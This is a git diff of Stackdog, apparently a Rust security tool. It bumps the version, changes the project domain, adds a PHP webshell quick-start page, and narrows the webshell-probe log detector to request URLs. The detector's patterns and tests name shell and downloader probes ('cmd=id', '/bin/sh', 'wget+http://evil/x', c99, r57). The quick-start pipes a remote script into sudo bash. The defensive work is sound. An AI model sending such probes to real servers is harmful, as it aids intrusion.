diff --git a/.env.sample b/.env.sample index 075682e..2ccb888 100644 --- a/.env.sample +++ b/.env.sample @@ -36,9 +36,9 @@ RUST_BACKTRACE=full # bot token with chat:write.customize; Slack-app webhooks use the app's own name # and icon, which you set under Basic Information > Display Information. #STACKDOG_SLACK_USERNAME=Stackdog -# Defaults to https://stackdog.stacker.my/stackdog-mark.png, falling back to the +# Defaults to https://stackdog.app/stackdog-mark.png, falling back to the # GitHub raw copy if that host does not answer. Setting this skips the probe. -#STACKDOG_SLACK_ICON_URL=https://stackdog.stacker.my/stackdog-mark.png +#STACKDOG_SLACK_ICON_URL=https://stackdog.app/stackdog-mark.png # Generic webhook endpoint for alert notifications #STACKDOG_WEBHOOK_URL=https://example.com/webhook #STACKDOG_SMTP_HOST=smtp.example.com diff --git a/CHANGELOG.md b/CHANGELOG.md index ee5abc1..0a6f6ea 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -7,6 +7,8 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [Unreleased] +## [0.2.7] - 2026-10-31 + ### Added - PHP shell detection. Each sniff pass scores the PHP files in host web roots @@ -20,6 +22,14 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 Running in Docker, mount the host read-only and set `STACKDOG_HOST_ROOT`. Extra signatures load from JSON (`STACKDOG_PHPSHELL_SIGNATURES`). +### Fixed + +- `web.webshell-probe` matched its indicators anywhere in a log line, so `c99` + inside a request id or token in stacker's agent request logs raised a + webshell alert and an offense. It now reads the request URL only: a + `cmd`/`exec`/`shell` parameter, a shell or downloader in the URL, or a path + segment named after c99/r57. + ## [0.2.6] - 2026-10-27 ### Fixed diff --git a/Cargo.toml b/Cargo.toml index 9e87bd1..40a7cf0 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -1,6 +1,6 @@ [package] name = "stackdog" -version = "0.2.6" +version = "0.2.7" authors = ["Vasili Pascal "] edition = "2021" description = "Security platform for Docker containers and Linux servers" diff --git a/DEVELOPMENT.md b/DEVELOPMENT.md index 8e6da6a..7c608fb 100644 --- a/DEVELOPMENT.md +++ b/DEVELOPMENT.md @@ -1,7 +1,7 @@ # Stackdog Security - Development Plan **Last Updated:** 2026-04-07 -**Current Version:** 0.2.6 +**Current Version:** 0.2.7 **Status:** Phase 2 In Progress ## Project Vision diff --git a/README.md b/README.md index 483131a..2f78701 100644 --- a/README.md +++ b/README.md @@ -1,6 +1,6 @@ # Stackdog Security -![Version](https://img.shields.io/badge/version-0.2.6-blue.svg) +![Version](https://img.shields.io/badge/version-0.2.7-blue.svg) ![License](https://img.shields.io/badge/license-MIT-green.svg) ![Rust](https://img.shields.io/badge/rust-1.75+-orange.svg) ![Platform](https://img.shields.io/badge/platform-linux%20%7C%20macos%20%7C%20windows-lightgrey.svg) @@ -179,7 +179,7 @@ curl -fsSL https://raw.githubusercontent.com/trydirect/stackdog/main/install.sh Pin a specific version: ```bash -curl -fsSL https://raw.githubusercontent.com/trydirect/stackdog/main/install.sh | sudo bash -s -- --version v0.2.6 +curl -fsSL https://raw.githubusercontent.com/trydirect/stackdog/main/install.sh | sudo bash -s -- --version v0.2.7 ``` If your repository has no published stable release yet, use `--version` explicitly. diff --git a/VERSION.md b/VERSION.md index 53a75d6..b003284 100644 --- a/VERSION.md +++ b/VERSION.md @@ -1 +1 @@ -0.2.6 +0.2.7 diff --git a/docs/INDEX.md b/docs/INDEX.md index 10d917a..d730515 100644 --- a/docs/INDEX.md +++ b/docs/INDEX.md @@ -1,6 +1,6 @@ # Stackdog Security - Documentation Index -**Version:** 0.2.6 +**Version:** 0.2.7 **Last Updated:** 2026-04-07 --- diff --git a/install.sh b/install.sh index 29b5675..2936046 100755 --- a/install.sh +++ b/install.sh @@ -3,7 +3,7 @@ # # Usage: # curl -fsSL https://raw.githubusercontent.com/trydirect/stackdog/main/install.sh | sudo bash -# curl -fsSL https://raw.githubusercontent.com/trydirect/stackdog/main/install.sh | sudo bash -s -- --version v0.2.6 +# curl -fsSL https://raw.githubusercontent.com/trydirect/stackdog/main/install.sh | sudo bash -s -- --version v0.2.7 # # Installs the stackdog binary to /usr/local/bin. # Requires: curl, tar, sha256sum (or shasum), Linux x86_64 or aarch64. @@ -73,7 +73,7 @@ resolve_version() { fi if [ -z "$TAG" ]; then - error "Could not determine latest release. Create a GitHub release, or specify one with --version (e.g. --version v0.2.6)." + error "Could not determine latest release. Create a GitHub release, or specify one with --version (e.g. --version v0.2.7)." fi VERSION="$(echo "$TAG" | sed 's/^v//')" @@ -136,7 +136,7 @@ main() { echo "Install stackdog binary to ${INSTALL_DIR}." echo "" echo "Options:" - echo " --version VERSION Install a specific version (e.g. v0.2.6)" + echo " --version VERSION Install a specific version (e.g. v0.2.7)" echo " --help Show this help" exit 0 ;; @@ -158,7 +158,7 @@ main() { echo " Prerequisites for IP banning (optional):" echo " - nftables or iptables must be installed" echo " - The binary requires root or CAP_NET_ADMIN to manage firewall rules" - echo " - See https://stackdog.stacker.my/docs for full setup guide" + echo " - See https://stackdog.app/docs for full setup guide" echo "" } diff --git a/src/alerting/notifications.rs b/src/alerting/notifications.rs index 3be8844..8ec6ea8 100644 --- a/src/alerting/notifications.rs +++ b/src/alerting/notifications.rs @@ -14,7 +14,7 @@ use crate::alerting::alert::{Alert, AlertSeverity}; const DEFAULT_SLACK_USERNAME: &str = "Stackdog"; /// Avatar used on Slack messages unless overridden -const DEFAULT_SLACK_ICON_URL: &str = "https://stackdog.stacker.my/stackdog-mark.png"; +const DEFAULT_SLACK_ICON_URL: &str = "https://stackdog.app/stackdog-mark.png"; /// Avatar used when the primary icon host is unreachable const FALLBACK_SLACK_ICON_URL: &str = diff --git a/src/detectors/mod.rs b/src/detectors/mod.rs index 0239ed4..32bcce0 100644 --- a/src/detectors/mod.rs +++ b/src/detectors/mod.rs @@ -18,6 +18,7 @@ use serde::{Deserialize, Serialize}; pub use self::audits::ContainerPosture; use self::audits::{ConfigAssessmentMonitor, DockerPostureMonitor, PackageInventoryMonitor}; +use self::http_request::{extract_request, HttpRequest}; use self::integrity::FileIntegrityMonitor; use self::ml::MlBehavioralDetector; use self::php_shell::{PhpShellAccessDetector, PhpShellOptions, PhpShellScanner, ScanRoot}; @@ -362,20 +363,17 @@ impl LogDetector for WebshellProbeDetector { } fn detect(&self, entries: &[LogEntry]) -> Vec { - let matches = matching_entries( - entries, - &[ - "cmd=", - "exec=", - "shell=", - "powershell", - "/bin/sh", - "wget http", - "curl http", - "c99", - "r57", - ], - ); + // The URL only. Matched anywhere in the line, `c99` hit the hex of + // request ids and bearer tokens in stacker's agent request logs, and + // this detector bans. + let matches: Vec<&LogEntry> = entries + .iter() + .filter(|entry| { + extract_request(&entry.line) + .map(|request| probes_webshell(&request)) + .unwrap_or(false) + }) + .collect(); if matches.is_empty() { return Vec::new(); @@ -393,6 +391,25 @@ impl LogDetector for WebshellProbeDetector { } } +/// A command parameter (`?cmd=id`), a shell or downloader in the URL, or a +/// request for a known shell by name (`/c99.php`, `/r57shell.php`). +fn probes_webshell(request: &HttpRequest) -> bool { + let command_parameter = request.query.split('&').any(|pair| { + let name = pair.split('=').next().unwrap_or_default(); + pair.contains('=') && matches!(name, "cmd" | "exec" | "shell") + }); + let target = format!("{}?{}", request.path, request.query).replace('+', " "); + let command_in_url = contains_any( + &target, + &["powershell", "/bin/sh", "wget http", "curl http"], + ); + let known_shell = request + .path + .split('/') + .any(|segment| segment.starts_with("c99") || segment.starts_with("r57")); + command_parameter || command_in_url || known_shell +} + impl LogDetector for ExfiltrationHeuristicDetector { fn id(&self) -> &'static str { "exfiltration.egress-heuristic" @@ -938,4 +955,46 @@ mod tests { assert!(contains_aws_access_key("AKIAABCDEFGHIJKLMNOP")); assert!(!contains_aws_access_key("AKIAshort")); } + + fn webshell_probe_findings(line: &str) -> Vec { + WebshellProbeDetector.detect(&[LogEntry { + source_id: "test".into(), + timestamp: chrono::Utc::now(), + line: line.into(), + metadata: HashMap::new(), + }]) + } + + #[test] + fn test_webshell_probe_ignores_stacker_agent_request_log() { + // The line from the false alarm: `c99` sits in the x-request-id hex. + let line = r#"2026-10-27T09:07:55.623595+00:00 dev stacker[2392813]: {"v":0,"name":"stacker","msg":"[AUTHENTICATE AGENT VIA X-AGENT-ID AND BEARER TOKEN - START]","level":30,"target":"stacker::middleware::authentication::method::f_agent","req":"\nServiceRequest HTTP/1.1 GET:/api/v1/agent/commands/wait/deployment_120254c6-598e-47a1-83ca-690840edd906\n query: ?\"timeout=10\"\n headers:\n \"x-request-id\": \"6c26477f-51b2-4133-9c58-b1dac994f229\"\n \"host\": \"dev.stacker.try.direct\"\n"}"#; + assert!(webshell_probe_findings(line).is_empty()); + } + + #[test] + fn test_webshell_probe_matches_the_url_only() { + for target in [ + "/x.php?cmd=id", + "/x.php?a=1&exec=uname", + "/c99.php", + "/up/r57shell.php", + "/x.php?q=wget+http://evil/x", + "/cgi-bin/x?run=%2Fbin%2Fsh", + ] { + let line = format!( + r#"203.0.113.9 - - [31/Oct/2026:10:00:00 +0000] "GET {target} HTTP/1.1" 404 5 "-" "x""# + ); + assert_eq!(webshell_probe_findings(&line).len(), 1, "{target}"); + } + + for line in [ + // Indicators outside the URL: user agent, referrer, no request. + r#"198.51.100.7 - - [31/Oct/2026:10:00:00 +0000] "GET /index.php HTTP/1.1" 200 5 "https://x/?cmd=1" "curl http-client""#, + r#"Oct 31 10:00:00 host CRON[1]: (root) CMD (/bin/sh /etc/backup.sh)"#, + r#"198.51.100.7 - - [31/Oct/2026:10:00:00 +0000] "GET /assets/app.c99a1f.js?xcmd=1 HTTP/1.1" 200 5 "-" "x""#, + ] { + assert!(webshell_probe_findings(line).is_empty(), "{line}"); + } + } } diff --git a/web/package.json b/web/package.json index 9700c97..e6007cd 100644 --- a/web/package.json +++ b/web/package.json @@ -1,7 +1,7 @@ { "name": "stackdog-web", "description": "Stackdog Security Web Dashboard", - "version": "0.2.6", + "version": "0.2.7", "scripts": { "start": "cross-env REACT_APP_VERSION=$npm_package_version webpack serve --mode development", "build": "cross-env REACT_APP_VERSION=$npm_package_version webpack --mode production", diff --git a/website/.env.local.example b/website/.env.local.example index 79812b1..e21e89e 100644 --- a/website/.env.local.example +++ b/website/.env.local.example @@ -1,2 +1,2 @@ -SITE_URL=https://stackdog.stacker.my +SITE_URL=https://stackdog.app STACKER_PIPE_WEBHOOK_URL=https://your-stacker-pipe-webhook-url diff --git a/website/app/docs/page.tsx b/website/app/docs/page.tsx index 5db8e1c..991d1b2 100644 --- a/website/app/docs/page.tsx +++ b/website/app/docs/page.tsx @@ -8,7 +8,7 @@ import { buildDocsStructuredData, toJsonLd } from '@/lib/structured-data'; const installCurl = 'curl -fsSL https://raw.githubusercontent.com/trydirect/stackdog/main/install.sh | sudo bash'; const installPinned = - 'curl -fsSL https://raw.githubusercontent.com/trydirect/stackdog/main/install.sh | sudo bash -s -- --version v0.2.6'; + 'curl -fsSL https://raw.githubusercontent.com/trydirect/stackdog/main/install.sh | sudo bash -s -- --version v0.2.7'; const installDocker = `docker run --rm -it \\ --name stackdog \\ --network host \\ @@ -87,7 +87,7 @@ const envRows = [ ['STACKDOG_NOTIFICATION_LABEL', 'prod-eu-1', 'Instance label added to every alert so you can tell hosts apart.'], ['STACKDOG_UI_URL', 'https://stackdog.example.com', 'Dashboard base URL. Adds a link to the alert in every notification.'], ['STACKDOG_SLACK_USERNAME', 'Stackdog', 'Display name on Slack messages (legacy webhooks or chat:write.customize).'], - ['STACKDOG_SLACK_ICON_URL', 'https://stackdog.stacker.my/stackdog-mark.png', 'Avatar image for Slack messages.'], + ['STACKDOG_SLACK_ICON_URL', 'https://stackdog.app/stackdog-mark.png', 'Avatar image for Slack messages.'], ['STACKDOG_AI_TIMEOUT_SECS', '300', 'Timeout for AI requests. 0 disables it for very slow local models.'], ['STACKDOG_AI_MAX_TOKENS', '2048', 'Response token ceiling. 0 lets the provider decide.'], ['STACKDOG_AI_COOLDOWN_SECS', '300', 'Minimum gap between AI calls for the same source, to limit token spend.'], diff --git a/website/app/page.tsx b/website/app/page.tsx index 167f8d0..e3dff1b 100644 --- a/website/app/page.tsx +++ b/website/app/page.tsx @@ -212,7 +212,7 @@ export default function HomePage() {
- Stackdog Security v0.2.6 + Stackdog Security v0.2.7

AI-Powered Security for Docker Containers & Linux Servers

diff --git a/website/app/php-shell-detection/page.tsx b/website/app/php-shell-detection/page.tsx index 01893ea..4132208 100644 --- a/website/app/php-shell-detection/page.tsx +++ b/website/app/php-shell-detection/page.tsx @@ -267,13 +267,13 @@ export default function PhpShellDetectionPage() { the addresses that use them.

- - Set it up + Quick start - + STACKDOG_PHPSHELL_PATHS. PHP containers are found on their own, by name or image, or by a volume mounted at a docroot. Mounted docroots are read at their host source and docroots baked into the image through the overlay filesystem. Running - in Docker, Stackdog reads both through a read-only mount of the host. + in Docker, Stackdog reads both through a read-only mount of the host. For a plain server, + the quick start{' '} + has the install command, recommended settings and a systemd unit.

diff --git a/website/app/php-shell-quickstart/page.tsx b/website/app/php-shell-quickstart/page.tsx new file mode 100644 index 0000000..f6ed40e --- /dev/null +++ b/website/app/php-shell-quickstart/page.tsx @@ -0,0 +1,332 @@ +import type { Metadata } from 'next'; +import Link from 'next/link'; +import { ArrowRight, ShieldAlert } from 'lucide-react'; +import CopyButton from '@/components/CopyButton'; +import { getSiteUrl } from '@/lib/config'; +import { buildDocsStructuredData, toJsonLd } from '@/lib/structured-data'; + +const PAGE_PATH = '/php-shell-quickstart'; + +const installCommand = + 'curl -fsSL https://raw.githubusercontent.com/trydirect/stackdog/main/install.sh | sudo bash'; + +const envCommand = `sudo install -d -m 700 /etc/stackdog /var/lib/stackdog +sudo tee /etc/stackdog/stackdog.env > /dev/null <<'EOF' +# API and dashboard backend: this machine only +APP_HOST=127.0.0.1 +APP_PORT=5000 +DATABASE_URL=/var/lib/stackdog/stackdog.db + +# PHP shell detection +STACKDOG_PHPSHELL_ENABLED=true +STACKDOG_PHPSHELL_PATHS=/var/www +# Access logs the bans are read from. Paths that do not exist are skipped. +STACKDOG_LOG_SOURCES=/var/log/nginx/access.log,/var/log/apache2/access.log,/var/log/httpd/access_log + +# Bans: 5 offenses in 5 minutes, banned for 30 minutes +STACKDOG_IP_BAN_ENABLED=true +STACKDOG_IP_BAN_MAX_RETRIES=5 +STACKDOG_IP_BAN_FIND_TIME_SECS=300 +STACKDOG_IP_BAN_BAN_TIME_SECS=1800 +STACKDOG_IP_BAN_MAX_PER_MINUTE=10 +STACKDOG_IP_BAN_PROTECT_LOCAL_IPS=true +# Ban on deterministic detectors only, not on free-text analyzer findings +STACKDOG_IP_BAN_FROM_AI_FINDINGS=false +# Never ban these: your office or VPN, uptime checks, load balancer, CDN +STACKDOG_IP_BAN_ALLOWLIST= + +# Alerts (the instance name defaults to the hostname) +STACKDOG_NOTIFICATION_MIN_SEVERITY=high +#STACKDOG_SLACK_WEBHOOK_URL=https://hooks.slack.com/services/... +EOF`; + +const serviceCommand = `sudo tee /etc/systemd/system/stackdog.service > /dev/null <<'EOF' +[Unit] +Description=Stackdog Security +After=network-online.target docker.service +Wants=network-online.target + +[Service] +EnvironmentFile=/etc/stackdog/stackdog.env +WorkingDirectory=/var/lib/stackdog +ExecStart=/usr/local/bin/stackdog serve +Restart=on-failure + +[Install] +WantedBy=multi-user.target +EOF +sudo systemctl daemon-reload +sudo systemctl enable --now stackdog`; + +const testCommand = `# A harmless file that carries a known shell marker. It exits before doing anything. +sudo mkdir -p /var/www/html/wp-content/uploads +echo ' /dev/null + +# One sniff pass is 30 seconds +sleep 40 +curl -s http://127.0.0.1:5000/api/alerts | grep -o 'PHP shell indicators in [^"(]*' + +# Clean up +sudo rm /var/www/html/wp-content/uploads/stackdog-test.php`; + +const dailyCommands = `sudo stackdog firewall list # who is banned right now +sudo stackdog unban 203.0.113.9 # release a ban +sudo stackdog ban-ip 203.0.113.9 --duration 24h --reason "webshell use" +curl -s http://127.0.0.1:5000/api/alerts # alerts as JSON +sudo journalctl -u stackdog -f # service log`; + +const settingRows = [ + ['APP_HOST=127.0.0.1', 'The API has no login of its own. Keep it off the public interface; reach it over SSH or a VPN.'], + ['STACKDOG_PHPSHELL_PATHS=/var/www', 'The host web roots to scan. Add every docroot you serve, comma-separated. PHP containers are found on their own.'], + ['STACKDOG_LOG_SOURCES', 'Bans come from access-log lines, and host web server logs are not discovered automatically. List yours.'], + ['STACKDOG_IP_BAN_MAX_RETRIES=5 / FIND_TIME_SECS=300', 'An attacker who keeps using a shell is banned within a few minutes; one stray request never bans anyone.'], + ['STACKDOG_IP_BAN_BAN_TIME_SECS=1800', 'Bans lift by themselves after 30 minutes, so a mistake costs half an hour, not a lost customer.'], + ['STACKDOG_IP_BAN_FROM_AI_FINDINGS=false', 'Start with bans from deterministic detectors only. Turn analyzer bans on once you have watched the alerts for a while.'], + ['STACKDOG_IP_BAN_ALLOWLIST', 'Put anything here whose ban would take you down: office and VPN addresses, uptime monitors, load balancers.'], + ['STACKDOG_NOTIFICATION_MIN_SEVERITY=high', 'Shell findings are High or Critical. Lower-severity posture findings stay in the dashboard instead of your inbox.'] +] as const; + +const faqEntries = [ + { + question: 'My site is behind Cloudflare or another proxy. Is that a problem?', + answer: + 'It is, until the access log records the real client. If nginx logs the proxy address, Stackdog would ban the proxy and with it every visitor. Configure real_ip (nginx) or mod_remoteip (Apache) first, or put the proxy ranges in STACKDOG_IP_BAN_ALLOWLIST.' + }, + { + question: 'My PHP sites run in Docker. Does this still work?', + answer: + 'Yes. Running on the host, Stackdog finds PHP containers through the Docker socket and scans the docroots mounted into them. Container logs are discovered without any setting. If you run Stackdog itself in Docker, see the Compose setup on the detection page.' + }, + { + question: 'Will it delete the shell?', + answer: + 'No. It alerts on the file and bans the addresses using it. Removing the file and finding how it got there stays with you; the detection page has a runbook.' + }, + { + question: 'Which release do I need?', + answer: + 'v0.2.7 or later. The installer picks the latest release by default.' + } +]; + +export const metadata: Metadata = { + title: 'PHP Webshell Protection Quick Start', + description: + 'Install Stackdog with one curl command and protect a PHP server from webshells: recommended settings, a systemd service, and a safe test.', + keywords: [ + 'PHP webshell protection', + 'install webshell scanner', + 'WordPress webshell scanner', + 'ban webshell attackers', + 'Stackdog Security' + ], + alternates: { + canonical: PAGE_PATH + }, + openGraph: { + title: 'Protect a PHP server from webshells in five minutes', + description: 'One curl command, one settings file, one service. Stackdog finds PHP shells and bans the clients using them.', + url: getSiteUrl() + PAGE_PATH + }, + twitter: { + title: 'Protect a PHP server from webshells in five minutes', + description: 'One curl command, one settings file, one service. Stackdog finds PHP shells and bans the clients using them.' + } +}; + +function CodeSample({ code, label }: { code: string; label: string }) { + return ( +
+
+

{label}

+ +
+
+        {code}
+      
+
+ ); +} + +function Step({ + number, + title, + children, + code, + label +}: { + number: number; + title: string; + children: React.ReactNode; + code: string; + label: string; +}) { + return ( +
  • +
    + Step {number} +

    {title}

    +
    {children}
    +
    +
    + +
    +
  • + ); +} + +export default function PhpShellQuickstartPage() { + return ( +
    +